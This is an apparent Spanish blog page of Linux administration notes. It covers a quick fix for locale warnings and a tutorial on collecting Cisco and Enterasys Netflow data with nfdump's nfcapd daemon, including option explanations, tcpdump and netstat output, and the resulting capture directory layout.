No es un método permanente, pero sí soluciona rápidamente el problema. Para hacerlo, simplemente tendremos que ejecutar lo que sigue,
```
shell> export LANGUAGE=es_ES@euro
shell> export LANG=es_ES@euro
shell> export LC_ALL=C
```
Volver a configurar las locales
El verdadero problema de éste warning está en el paquete locales de nuestro sistema. Por lo tanto, para solucionarlo, podremos optar por reinstalar el paquete nuevamente para que obtenga los valores correctos,
```
shell> apt-get install --reinstall locales
```
o bien reconfigurarlo, seleccionando los idiomas que deseemos.
```
shell> dpkg-reconfigure locales
```

Netflow, controlando el tráfico de red (V)

Llegados a este punto ya tenemos todos los dispositivos de red preparados para enviar (y enviando) datos a nuestro servidor central. Concretamente tenemos un swtich enterasys y un router cisco enviando datos. Nuestra IP local es la 192.168.0.35 y el puerto de escucha, según lo configurado en los equipos remotos tendrá que ser el 9995 UDP. Si ahora probamos a poner a la escucha un tcpdump en nuestro colector, veremos como están a llegar muchos datos a dicho puerto, aunque ninguno de éstos se está recolectando todavía. Al ser datos UDP directamente si no se leen, se pierden sin que pase nada.

shell> tcpdump -i eth0 port 9995
19:38:36.565951 IP 10.0.0.5.9995 > colector.9995: UDP, length 1404
19:38:36.565964 IP 10.0.0.5.9995 > colector.9995: UDP, length  224
19:38:36.678899 IP 10.0.0.5.9995 > colector.9995: UDP, length 1404
19:38:36.947127 IP 10.0.0.5.9995 > colector.9995: UDP, length 1404
19:38:37.080699 IP 10.0.0.5.9995 > colector.9995: UDP, length 1404
19:38:37.152456 IP 10.0.0.5.9995 > colector.9995: UDP, length 1404

Puesto que todos estos datos nos servirán para sacar estadísticas de utilización de la red y saber a qué IP's y puertos se accede más, qué IP's consumen más tráfico, qué página es la más visitada, etc. tiene sentido que nos interesa guardarlos. Para poder encontramos en GNU/Linux el paquete nfdump, que no sirve para otra cosa que recoger y procesar los datos netflow. El paquete nfdump incluye internamente una seria de programas que facilitan el uso y manejo de los datos. En este caso vamos a ver el comando nfcapd, que sirve justamente para el primero de los pasos que hay que dar, ¡colectar los datos!

nfcapd es un daemon de captura de datos netflow. Entre otras de las muchas opciones que tiene (man nfcapd), permite indicarle el puerto de escucha, la versión de los datos netflow que recoger, establecer el nombre del equipo recolector, etc. La principal ventaja que presenta es que permite ejecutarse como daemon del sistema e ir almacenando todos los datos que le llegar al puerto de escucha (por defecto 9995).

Un primer ejemplo de uso,

shell> nfcapd -z -D -T all -l /srv/cap -I cisco -S 2 -P /srv/nfcapd.pid

donde las opciones empleadas fueron,

-z
Comprime los datos almacenados para que ocupen menos. Una buena idea ;-)
-D
Queda en modo daemon.
-T all
Habilita todos los posibles extensiones para los modos de netflow (v5/v7 y v9).
-l /srv/cap
Carpeta sobre la que se almacenarán los datos netflow.
-I cisco
Establece el nombre de los datos guardados a cisco.
Si los datos que se reciben en este puerto son del equipo cisco, está bien guardarlos así, puesto que quedarán con dicho nombre y luego se podrán lanzar búsquedas.
-S 2
Establece el nivel de árbol de directorios a "%Y/%m/%d/%H, year/month/day/hour".
-P /srv/nfcapd.pid
Crea un PID para el dameon.

Al ejecutar este comando, se abre el puerto 9995 (puerto por defecto) en UDP.

shell> netstat -punta
Active Internet connections (servers and established)
Proto  Recv-Q  Send-Q  Local Address  Foreign Address  State   PID/Program
tcp         0      0   0.0.0.0:22           0.0.0.0:*  LISTEN  1850/sshd
udp         0      0   0.0.0.0:9995         0.0.0.0:*          32192/nfcapd

Los datos almacenados tendrán con este comando una estructura similar a la que se muestra ahora,

shell> ls -R /var/spool/nfcapd
/var/spool/nfcapd:
2012  nfcapd.current nfcapd.pid

/var/spool/nfcapd/2012:
02  03  04

/var/spool/nfcapd/2012/02:
27  28  29

/var/spool/nfcapd/2012/02/27:
09  10  11  12  13  14  15  16  17  18  19  20  21  22  23

/var/spool/nfcapd/2012/02/27/09:
nfcapd.201202270940  nfcapd.201202270945
nfcapd.201202270950  nfcapd.201202270955

/var/spool/nfcapd/2012/02/27/10:
nfcapd.201202271000  nfcapd.201202271010
nfcapd.201202271020  nfcapd.201202271030
nfcapd.201202271040  nfcapd.201202271050
nfcapd.201202271005  nfcapd.201202271015
nfcapd.201202271025  nfcapd.201202271035
nfcapd.201202271045  nfcapd.201202271055

/var/spool/nfcapd/2012/02/27/11:
...
.....

Como se puede observar, los datos almacenados rotan cada 5 minutos de fichero (lo que hace más simple la consulta al ser ficheros más pequeños) y se crean en forma de árbol, un año, debajo de éste los meses y más abajo los días y las horas y sobre cada uno de éstos, cuelga a su vez los ficheros de dicha hora. Para que todo funcione correctamente y los datos almacenados tengan sentido, es muy importante que tanto los equipos emisores como el colector tengan la hora sincronizada.

En caso de que tengamos varios equipos emisores de datos, como puede ser un cisco y un enterasys, podemos ejecutar dos instancias de nfcapd para recolectar los datos, en puertos diferentes para tener un tratamiento especial para cada uno de ellos. Por ejemplo,

shell> nfcapd -z -w -D -T all -p 9995 \
     -l /srv/cisco -I cisco -S 1 \
     -P /var/run/nfcapd.cisco.pid
shell> nfcapd -z -w -D -T all -p 9994\
     -l /srv/enterasys -I enterasys -S 1 \
     -P /var/run/nfcapd.enterasys.pid

Quedando como se observa a la escucha en dos puertos UDP diferentes.

shell> netstat -punta
Active Internet connections (servers and established)
Proto  Recv-Q  Send-Q  Local Address  Foreign Address  State   PID/Program
tcp         0      0   0.0.0.0:22           0.0.0.0:*  LISTEN  1850/sshd
udp         0      0   0.0.0.0:9994         0.0.0.0:*          32192/nfcapd
udp         0      0   0.0.0.0:9995         0.0.0.0:*          32194/nfcapd

Ahora con todos los datos almacenados, sólo queda obtener la información y las estadísticas que los equipos están enviando.

Temas:

Suscribirse a: Entradas ( Atom )